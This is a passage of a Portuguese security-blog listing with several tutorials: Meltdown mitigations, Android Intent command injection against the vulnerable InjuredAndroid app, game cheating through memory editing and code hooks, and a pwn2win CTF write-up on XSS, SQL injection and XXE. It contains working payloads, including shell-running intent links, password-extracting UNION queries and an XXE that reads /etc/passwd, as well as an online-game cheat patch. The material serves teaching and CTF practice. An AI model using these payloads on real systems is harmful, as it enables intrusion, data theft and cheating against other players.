Randomization (ASLR) disponível para modo de usuário, o kernel possui o Kernel Address Space Layout Randomization e serve como mitigação para ataques de corrupção de memória. Embora o Meltdown não se baseia nessa classe de ataques, ao randomizar o endereço base do kernel, o processo de leitura é dificultado. Todavia outras classes de ataque são capazes de revelar esse endereço, como por exemplo colisões de Branch target buffers, conforme descrito por Jump over ASLR. KPTI Kernel Page Table Isolation opera em cima da quantidade de dados que pode ser extraida utilizando o ataque. Quando a mitigação é implementada o kernel passa a gerenciar dois conjuntos de páginas. A parte do kernel mapeada no espaço de endereçamento do usuário é restrita apenas a funcionalidade mínima necessária como executar syscalls e exceções. O segundo conjunto contém além das páginas do usuário todo o mapeamento da memória fisica e pode ser utilizado para operações como copy_from_user. Caso seja necessário, o kernel deve trocar de espaço de endereçamento para o conjunto contendo o kernel completo. Bibliografia Flush + Reload https://eprint.iacr.org/2013/448.pdf Spectre https://spectreattack.com/spectre.pdf MDS attacks https://mdsattacks.com/ Meltdown https://meltdownattack.com/meltdown.pdf RSA power analys https://www.youtube.com/watch?v=bFfyROX7V0s Linux memory management https://jasoncc.github.io/kernel/jasonc-mm-x86.html Sigaction https://man7.org/linux/man-pages/man2/sigaction.2.html Tabela de paginação https://www.kernel.org/doc/gorman/html/understand/understand006.html Jump over ASLR http://www.eecs.umich.edu/courses/eecs573/slides/38 - Secure and Bug-Free Systems.pdf PTI https://www.kernel.org/doc/html/latest/x86/pti.html rhme CTF https://github.com/Riscure/Rhme-2016 Algumas provas de conceito https://github.com/Jos3Luiz/hackeando-cpus Computer Organization and Design RISC-V edition
  7. Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível. Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile. intent:// Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação: Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante. <intent-filter> Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml. Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml <activity android:name=".RCEActivity" android:label="@string/title_activity_rce" android:theme="@style/AppTheme.NoActionBar"> <intent-filter android:label="filter_view_flag11"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- Accepts URIs that begin with "flag13://” --> <data android:host="rce" android:scheme="flag13" /> </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW. O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE. A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas. flag13://rce Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️ Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity: 49 if (intent != null && intent.data != null) { 50 copyAssets() 51 val data = intent.data 52 try { 53 val intentParam = data!!.getQueryParameter("binary") 54 val binaryParam = data.getQueryParameter("param") 55 val combinedParam = data.getQueryParameter("combined") 56 if (combinedParam != null) { 57 childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58 override fun onDataChange(dataSnapshot: DataSnapshot) { 59 val value = dataSnapshot.value as String? 60 if (combinedParam == value) { 61 FlagsOverview.flagThirteenButtonColor = true 62 val secure = SecureSharedPrefs() 63 secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64 correctFlag() 65 } else { 66 Toast.makeText(this@RCEActivity, "Try again! :D", 67 Toast.LENGTH_SHORT).show() 68 } 69 } 70 71 override fun onCancelled(databaseError: DatabaseError) { 72 Log.e(TAG, "onCancelled", databaseError.toException()) 73 } 74 }) 75 } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else: 76 else { 77 78 val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79 val bufferedReader = BufferedReader( 80 InputStreamReader(process.inputStream)) 81 val log = StringBuilder() 82 bufferedReader.forEachLine { 83 log.append(it) 84 } 85 process.waitFor() 86 val tv = findViewById<TextView>(R.id.RCEView) 87 tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈 Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos. Nossa PoC terá os seguintes passos : Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim: <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉 S.Intent_Extras Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra. Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim : <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary. Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho: if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor. Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês. Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa. |-|4ck th3 |>l4n3t @caioluders
  8. esoj

    Segurança em jogos

    Neste artigo analisaremos alguns tópicos sobre o tema tanto sob a ótica do desenvolvedor, quanto do hacker, comparando os desafios e técnicas referentes ao desenvolvimento de cheats para jogos online e offline. Jogos single player Do ponto de vista do desenvolvedor a integridade de um jogo single player raramente apresenta um problema para o produto e a comunidade. Devido à ausência de interação entre os jogadores, hacks pouco podem fazer além de obter feitos incríveis como concluir o jogo em tempos recordes ou desbloquear todas as conquistas para que o jogador possa exibir-se para seus amigos. Às vezes é até mesmo desejável pelo desenvolvedor que os jogadores comprometam a integridade do jogo através da criação de Mods, por exemplo, pois eles expandem e renovam o jogo, criando formas completamente diferentes de jogá-lo. Do ponto de vista do profissional de segurança, jogos são uma maneira incrível de testar o seu potencial de engenharia reversa e até mesmo programação, quando você reescreve alguma seção crítica do game, por exemplo. Scanners de memória Sem dúvida jogos são programas complexos. Além de toda a lógica de gameplay o programa deve conter as instruções necessárias para renderizar itens na tela, gerenciar dispositivos de som, receber input do usuário, além de diversas outras funções comuns presentes nas engines como pathfinding, sistema de partículas, gerenciamento de animações, etc. Fazer a engenharia reversa de um jogo tentando compreender cada etapa do programa até encontrar as seções relacionadas à lógica de jogo seria como procurar uma agulha no palheiro. Por este motivo desenvolveram-se ferramentas para inverter esse processo. Com a ajuda de Scanners de memória, a partir de elementos visuais do jogo como vida ou dinheiro, é possível descobrir o valor da variável desejada. Isso permite ao hacker alterar aquele valor ou usar aquela variável (quem acessa esse endereço?) para identificar seções de código relacionadas, criando exploits ainda mais complexos. O processo de scan por valor funciona em três etapas: Escaneia-se um valor conhecido, como vida, dinheiro, pontuação, etc; Altera-se essa variável dentro do jogo para que ela mude de valor; Repete-se as etapas 1 e 2 até obter um número pequeno de possíveis endereços. Ao fim do processo, é possível trocar o valor da variável dentro do jogo, obtendo vantagens como grandes quantias de vida ou dinheiro. O scan de memória funciona buscando todos os endereços de memória do processo que contém aquele exato valor. Quando o segundo scan é feito, ele utiliza a primeira lista de resultado e remove os endereços que não se adequam ao valor atual. Ao fim do processo, sobram bons palpites para o real endereço da variável: Exemplo de Scan de memória usando Cheat engine Scan por proximidade Esta técnica se baseia a partir da relação de proximidade espacial entre as variáveis. Por exemplo, se em um jogo o personagem possuir uma barra de vida cujo valor exato é incerto, uma estratégia possível é buscar por algum valor conhecido associado e após encontrar aquele valor olhar em suas proximidades para checar se a variável vida está lá. Isso ocorre porque na maioria das vezes os programadores armazenam os dados de cada elemento do jogo em objetos ou structs, que são contínuos na memória: Struct player{ Char nome[50]; Int dinheiro; float vida ; float vidaMax ; Imagem *sprite; } Exemplo de Scan por proximidade usando Cheat engine Fuzzing As vezes vale a pena alterar uma região de memória próxima a variáveis importantes e observar se algo mudou dentro do jogo. Apesar de diversas vezes resultar em crashes, às vezes pode render resultados interessantes,descobrindo listas ou IDs de itens: Exemplo de Fuzzing obtendo os endereços da lista de parceiros e desbloqueando personagens não jogáveis Quem acessa esse endereço? e Injeção de código Na maioria dos debuggers é possível adicionar um breakpoint de dado, que trava a execução do programa quando uma instrução faz uma leitura ou uma escrita naquele endereço. Isso pode ser muito útil para encontrar funções relacionadas à aquela variável. Em alguns casos além de apenas alterar o valor de variáveis é interessante alterar também trechos de código para que o programa se comporte diferente. Para isso, uma técnica usada para alterar dinamicamente o código em execução é o code hooking. Esta técnica consiste em substituir uma instrução por um jump para uma região de memória não utilizada ou alocada pelo debugger. Nessa região, além do código removido dar espaço ao jump, podemos adicionar novas instruções. Ao fim do hook ele retorna para o endereço subsequente ao pulo: Esquema de mapa de memória e execução durante um hook Em um dos casos que encontrei tratava-se de um jogo onde a pontuação mudava dinamicamente a cada nível, com isto, apesar do valor da variável da pontuação ser conhecida, trocar manualmente seu valor era desconfortável. Portanto, adicionando um breakpoint de dado no valor da pontuação encontrei a função que checa se a pontuação foi atingida a cada quadro: 1.mov eax,[ecx+000000A0] ;Pontuação atual lida 2.mov ecx,[ecx+000000A4] ;Pontuação meta lida 3.cmp eax,ecx ; compara os pontos atuais com a meta 4.<--je 05AE94C6 5.mov eax,[ebp+08] 6.mov eax,[eax+000000A8] 7.test eax,eax 8.jne 05AE9C7F ;Todo este trecho é pulado se não atingirmos a meta 9.mov eax,[ebp+08] 10.movzx eax,byte ptr [eax+7C] 11.test eax,eax 12.jne 05AE9C7F 13.-->mov eax,[ebp+08] 14.mov eax,[eax+28] ;resto da função 15.mov ecx,eax ... Apesar de ser muito difícil interpretar o que toda a função faz, apenas as 4 primeiras instruções são importantes. Se a pontuação atual for diferente do objetivo, o trecho do meio responsável por passar de fase não roda. Eu tentei remover apenas o jump e forçar sua execução mas o jogo trava, provavelmente devido a uma comparação futura com a pontuação. Portanto, a ideia é roubar o fluxo de execução logo antes da comparação da instrução 3 ser executada. Para descobrir o endereço de onde deve ser injetado o pulo é possível fazer um scan por Array of bytes. No caso buscamos o padrão das instruções acima. Essa é uma maneira consistente de manter o cheat funcionando mesmo após atualizações que modifiquem o binário, pois mesmo que o endereço da função mude, dificilmente suas instruções serão alteradas O Cheat Engine em especial permite escrever um script que realiza essa busca e aplica o hook. Quando o script está ativo ele aplica os patches necessários, enquanto está desativado ele reverte as alterações para o código original. Dessa forma foi simples criar um botão de auto win para qualquer estágio do jogo: aobscan(INJECT,8B 89 A4 00 00 00 3B C1 74) ;sequência de instruções a ser buscada alloc(newmem,$1000) [ENABLE] code: mov eax,[ecx+000000A4] ;Instrução original de leitura - lê a meta mov [ecx+000000A0],eax ;copia a meta para a pontuação atual mov ecx,eax ;e também para o registrador onde está a pontuação atual jmp return ;volta para a execução normal de código Exemplo de injeção de código criando um botão de auto win Exemplo de injeção de código alterando o comportamento dos inimigos para curar o jogador Online multiplayer Enquanto nos jogos single player o uso de cheats traz pouco ou nenhum problema para os demais jogadores, quando se trata de multiplayer online, sobretudo dos jogos mais competitivos, cheats podem se tornar um pesadelo quando jogadores passam a obter vantagens absurdas sobre os demais, criando um ambiente injusto e frustrante dentro da partida. Felizmente as engines que suportam multiplayer já são pensadas com a segurança em mente, mitigando a maioria das técnicas discutidas na seção sobre single player. Modelo de cliente servidor O modelo de cliente servidor assume que existe uma máquina na rede que possui autoridade sobre as demais máquinas, máquina esta chamada de servidor. O servidor também contém um único estado do jogo que é replicado para os demais clientes. Toda a interação entre jogadores deve passar pelo servidor, já que os clientes não possuem nenhuma conexão entre si. Com isto, é tarefa do servidor validar todos os inputs recebidos antes de replicá-los. Existem duas formas de interação servidor-cliente, são elas Remote Procedure Calls (RPCs) e Replicação de Variáveis. RPCs são um pedido feito para outra máquina rodar um código específico e estes pedidos podem ser feitos pelo servidor ou pelo cliente. Por exemplo, se o jogador 1 de um jogo tiro deseja atirar, os outros clientes devem ser capazes de observar que o disparo foi realizado. Para isso ele deve solicitar ao servidor que realize um disparo usando uma RPC. Em seguida, o servidor deve solicitar aos demais jogadores que repliquem esse disparo, partindo da cópia que cada um deles tem do jogador 1: Exemplo de código multiplayer para FPS implementado na Unreal Engine 4 A segunda forma de comunicação é a replicação de variáveis. Diferente de RPCs, a replicação ocorre apenas do servidor para o cliente. No exemplo acima a função dar dano altera (server side) a variável "vidaDoPersonagem". Quando isso acontece, o servidor envia um pacote atualizando o seu valor para todos os clientes. Portanto, nenhum cliente possui de fato a variável vida mas uma cópia dela. Por isso as técnicas de alteração de variáveis discutidas na seção de jogos offline raramente funcionam em multiplayers. Embora seja possível alterar essa cópia, o estado do jogo no servidor permanece intacto, então mesmo que você tenha 1000 de vida em sua cópia, quando você morrer no servidor, ainda ocorrerá uma RPC para a sua máquina e para os outros jogadores avisando que você morreu. Tradeoff entre jogabilidade e segurança - O problema do input Sempre que o servidor recebe uma atualização do cliente ele deve checar se a ação feita pelo jogador é válida, como por exemplo se o jogador ainda possui munição antes de atirar, se a arma não está em recarga, etc. Todavia, algumas ações são praticamente impossíveis de serem verificadas. Um servidor poderia verificar por exemplo todo o input feito pelo jogador, enviando cada botão pressionado para que o servidor calcule coisas como posição ou ângulo da câmera, porém devido à latência de rede e o tempo de processamento isso significaria uma jogabilidade travada e lenta. A menos que o jogo seja lento como uma partida de xadrez, o servidor precisa confiar parcialmente no input dado pelo usuário. Por isso, cheats como speedhacks e aimbots são tão comuns. Posição e orientação de onde o jogador está olhando são basicamente controladas pelo cliente. Algumas engines como a Unreal conseguem mitigar os efeitos de possíveis speed hacks calculando em server side a posição que o personagem deveria estar e aplicando as devidas correções no cliente. Essas correções também servem para sincronizar o cliente com o servidor em situações de dessincronia como durante perdas de pacotes: Exemplo de correção de posicionamento pelo servidor na Unreal Engine 4 Padrões inseguros de programação para multiplayer Não validar corretamente a entrada de RPCs; No caso acima um cliente não íntegro poderia passar um valor elevado como parâmetro, dando danos absurdos aos adversários; Não validar o tempo entre RPCs; O jogador não deve atirar milhares de vezes por segundo, mas não tem nada no servidor que impeça isso; Não replicar as variáveis necessárias; O desenvolvedor não deve confiar ao cliente variáveis importantes como vida ou munição. Exemplo de código multiplayer vulnerável RCEs e ataques a outros jogadores Quando um desenvolvedor publica um jogo ele está distribuindo software que vai rodar no computador de diversos usuários. Como qualquer outro programa, ele é suscetível à ataques clássicos de corrupção de memória como buffer overflow, Use After Free, etc, que podem permitir execução remota de código para outros atacantes que possam interagir com o programa. Esse foi o caso do CVE-2019-15943, onde no Counter-Strike: Global Offensive (CSGO) um jogador poderia convidar outro player para uma partida utilizando um mapa customizado. O mapa customizado era criado especificamente para fazer o jogo crashar, corrompendo a cadeia SHE e potencialmente permitindo a execução de código na máquina do usuário que entrou na partida. Acessibilidade ao código, Unity e Among Us Há alguns meses atrás eu estava curioso para ver como o game Among Us implementa algumas coisas. Uma breve pesquisa no google revela que o jogo foi desenvolvido usando a Unity Engine. Saber em qual engine o programa é produzido é útil na hora de olhar pelos arquivos do game durante uma análise estática. A Unity utiliza C# como linguagem de programação, gerando arquivos .NET (quando no Windows) que são facilmente decompilados e editáveis por ferramentas como dnSpy, tornando o processo de modificação e engenharia reversa bem simples. No entando, atualmente a Unity suporta também o uso do IL2cpp, um conversor de linguagem intermediária (IL) para C++ antes de gerar o pacote do projeto. Isso gera benefícios como performance para o jogo e também dificulta o acesso ao código. Entretanto, o processo de engenharia reversa não é impossível. Utilizando a ferramenta IL2cppDumper é possível extrair a partir dos arquivos de metadados os offsets de cada função do GameAssembly.dll, bem como seus respectivos nomes. Vasculhando pelas funções foi possível encontrar a rotina que gerencia o cooldown do botão de matar quando o jogador é o impostor: Método responsável pelo cooldown do botão, decompilado pelo ghidra Código assembly referente ao método SetTimeKiller Aqui vemos que a função recebe o tempo como parâmetro e seu primeiro uso é escrevê-lo em um dos atributos do objeto. Um hack interessante e bem crítico seria transformar qualquer tempo de cooldown em 0. Código assembly após o patch Troquei a instrução xmm0,[ebp +0xc] que lia o argumento da pilha por um simples xor eax,eax, zerando o registrador. No lugar de movss [esi+0x44],xmm0 basta mover o valor de eax, como se todo o argumento fosse 0. Com apenas duas instruções alteradas, o exploit funcionou bem mesmo em sessões online. O servidor não checava o tempo entre as RPCs para matar o jogador, permitindo assim abusos por clientes modificados e eventualmente frustrando os demais jogadores depois de morrerem em partidas de 10 segundos ou menos. Método após o patch, decompilado pelo Ghidra Referências https://www.youtube.com/watch?v=GxthbWfSak8 https://docs.unrealengine.com/en-US/InteractiveExperiences/Networking/Server/index.html https://docs.unrealengine.com/en-US/InteractiveExperiences/Networking/CharacterMovementComponent/index.html
  9. Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4). Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio. O que é Reflected XSS Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript. Código vulnerável: ### Contexto de html <?php $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1> ?> O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript. XSS: http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script> http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)> Código vulnerável: ### Contexto de atributo <?php $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img" print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img"> ?> Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript. XSS: http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)> http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)// Código vulnerável: ### Contexto de códigos JavaScript <?php $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome print '<body>'; // Adiciona a tag <body> no HTML print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina print '</body>';// adiciona tag </body> para fechar a tag no html ?> Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //. XSS: http://localhost:8000/xssjavascript.php?nome='-alert(1)// O que é SQL Injection SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento. Código vulnerável: $usuario = $_POST['usuario']; $senha = $_POST['senha']; $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' "; $processa = mysql_query($sql); Explorando SQL Injection No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário : $usuario = "epicleetteam"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte: SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin' Demonstrando agora o que acontece quando enviamos entradas com aspas simples: $usuario = "epicleet'team"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte: SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin' Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL. Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query: $usuario = "epicleetteam' union select sleep(5)#"; $senha = "admin"; SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin' O que é XXE XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço. Exemplo com arquivo local: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> Saída: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin gnx:x:999:999::/home/gnx:/bin/sh Exemplo com arquivo externo: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo> Vamos ao desafio A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection. Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi. Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js SQL Injection Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante. Trecho do desafio vulnerável a SQL Injection: const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql await connection.end() return JSON.stringify(sqli).includes(users[0]["password"]) //<- Verifica se password esta no retorno da query Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION. O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries. Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado): 'UNION SELECT sleep(5)# (não demorou) 'UNION SELECT sleep(5),null# (não demorou) 'UNION SELECT sleep(5),null,null#(demorou) Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas 'UNION SELECT sleep(5),null,null,null# (não demorou)` Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final 'UNION SELECT null,null,(select password from users)# E assim fica a query executada pelo SQL: SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#' XXE Trecho do desafio vulnerável a XXE: var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root> Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas. Assim ficamos com um payload poliglota que explora XXE e SQLi. Payload de XXE+SQLI: <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)# XSS+XXE+SQLI A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript. Trecho do código vulnerável: payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script> const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido Como todo o payload era passado em uma lib de sanitização antes de ser injetado no browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das 